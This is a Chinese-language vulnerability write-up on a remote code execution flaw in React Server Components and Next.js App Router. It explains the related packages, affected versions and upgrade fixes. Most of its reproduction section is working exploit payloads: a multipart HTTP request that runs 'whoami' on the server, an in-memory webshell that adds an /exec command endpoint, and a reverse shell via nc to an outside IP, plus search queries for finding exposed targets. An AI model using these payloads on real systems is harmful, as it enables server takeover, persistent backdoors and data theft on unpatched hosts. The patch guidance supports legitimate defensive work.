[TOC]

名词解释

react是什么?

简单来说,React 是一个 JavaScript 库(注意,它不是框架)。

它用于构建用户界面,也就是 UI 部分,很多人认为 React 是 MVC 中的 V(视图)。

React 起源于 Facebook 的内部项目,于 2013 年 5 月开源。

图标如下:

image-20251204224824450

Next.js是什么?

一个基于React的全栈Web开发框架。React本身只是一个库,要构建一个完整的生产级应用(需要考虑路由、服务端渲染、打包优化、API 等)需要搭配很多其他工具进行复杂配置。Next.js 把这些最佳实践和工具都整合好了,提供了一套开箱即用的解决方案。

React Server Components (RSC)是什么?

React的一种新架构模型,它允许开发者将组件明确地分为两种:

客户端组件:传统的 React 组件,在浏览器中运行,可以处理交互、使用 useState、useEffect 等。

服务器组件:默认在服务器端运行的组件。它们不在客户端打包,因此可以安全、直接地访问数据库、文件系统等后端资源,并且不会增加客户端 JavaScript 包的大小。

这样做的好处:提升性能(减少客户端代码)、改善开发体验(直接从组件访问数据)、增强安全性(敏感逻辑和密钥保留在服务器)。

为了支持RSC,React 团队定义了一种特殊的"协议"(Flight协议),用于在服务器端和客户端之间传输RSC的渲染结果(不是HTML,而是一种紧凑的、可序列化的数据流格式)。

react-server-dom-webpack是什么?

这是RSC最早的官方实现,与 Webpack 打包工具深度集成。它告诉Webpack如何区分服务器组件和客户端组件,并如何打包它们。

react-server-dom-turbopack是什么?

这是为了支持Turbopack (由 Webpack 原作者开发、Vercel 推出的新一代增量打包工具,速度极快)而提供的RSC绑定器。Next.js 13+ 开始,当你在next.config.js中启用 experimental.turbopack = true 时,就会使用这个包(通过 --turbopack 标志启动开发服务器)。

react-server-dom-parcel是什么?

这是为了支持Parcel(另一个零配置的打包工具)而提供的 RSC 绑定器。如果你使用 Parcel 打包工具来构建你的React应用,并且想使用RSC特性,就需要用到这个包。它让Parcel具备了理解 RSC 的能力。

漏洞影响范围

受影响的React包:

react-server-dom-parcel:19.0.0、19.1.0、19.1.1和19.2.0
react-server-dom-webpack:19.0.0、19.1.0、19.1.1和19.2.0
react-server-dom-turbopack:19.0.0、19.1.0、19.1.1和19.2.0

受影响的框架和工具:

Next.js版本 ≥14.3.0-canary.77、≥15 和 ≥16
Vite、Parcel、React Router、RedwoodSDK、Waku等嵌入或依赖于React Server Components实现的框架和插件

利用条件

条件:必须同时使用React Server Components和App Router模式

不受影响条件:

  1. 如果您的应用只是纯前端页面(没有服务器端代码),则不受此漏洞影响

  2. 如果您的应用没有使用React服务端组件(RSC)功能,则不受此漏洞影响

  3. 前后端分离项目:如果您使用React仅作为前端开发,后端是独立的API服务,则不受此漏洞影响

  4. 如果您没有使用Next.js进行全栈开发项目,则不受此影响

  5. 如果您的Next.js使用Pages Router而非App Router架构模型,则不受此影响。

漏洞原因

基于React Flight协议发现了一条新的漏洞利用链,攻击者通过精心构造Flight协议的数据块(chunks),在反序列化的早期阶段就污染了对象原型,并最终劫持了Promise的解析过程,实现任意代码执行,它不依赖应用导出任何危险函数。目前该链可以在Next.js的服务端(使用App Router)中无条件触发!

漏洞环境搭建

1
2
3
npm create next-app@16.0.6 react -y
cd react
npm run dev

image-20251205165620929

漏洞复现

应尽量避免使用execSync函数执行可能造成系统阻塞的命令(如ping,curl,wget等),因为Node.js是单线程事件循环模型,execSync会阻塞整个事件循环,导致所有请求都被阻塞。推荐使用异步exec。

  1. 有回显
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /(或者/apps) HTTP/1.1
Host: xxx:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=------boundary
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 589

------boundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('whoami').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------boundary
Content-Disposition: form-data; name="1"

"$@0"
------boundary
Content-Disposition: form-data; name="2"

[]
------boundary--
  1. 内存马
1
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event==='request'){const[req,res]=args;const parsedUrl=url.parse(req.url,true);if(parsedUrl.pathname==='/exec'){const cmd=parsedUrl.query.cmd||'whoami';cp.exec(cmd,(err,stdout,stderr)=>{res.writeHead(200,{'Content-Type':'application/json'});res.end(JSON.stringify({success:!err,stdout,stderr,error:err?err.message:null}));});return true;}}return originalEmit.apply(this,arguments);};})();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

使用方法示例:

1
xxx:3000/exec?cmd=whoami

image-20251205171030255

  1. 反弹shell
1
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nc -c sh 192.168.50.226 4444');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

利用原理

1
https://gist.github.com/HerringtonDarkholme/87f14efca45f7d38740be9f53849a89f

空间测绘

1
2
3
1. app="Next.js" && body="/_next/static/chunks/app/"

2. body="react.production.min.js" || body="React.createElement(" || app="React.js" || app="Dify"

修复方式

Next.js修复方案:

• Next.js 14.3.0-canary.77 或更高版本的 canary 版本,请降级到最新的稳定版 14.x

• 15.0.x修复方案:npm install next@15.0.5

• 15.1.x修复方案:npm install next@15.1.9

• 15.2.x修复方案:npm install next@15.2.6

• 15.3.x修复方案:npm install next@15.3.6

• 15.4.x修复方案:npm install next@15.4.8

• 15.5.x修复方案:npm install next@15.5.7

• 16.0.x修复方案:npm install next@16.0.7

React修复方案:

• react-server-dom-parcel

• react-server-dom-turbopack

• react-server-dom-webpack

请升级至 19.2.1或19.1.2或19.0.1版本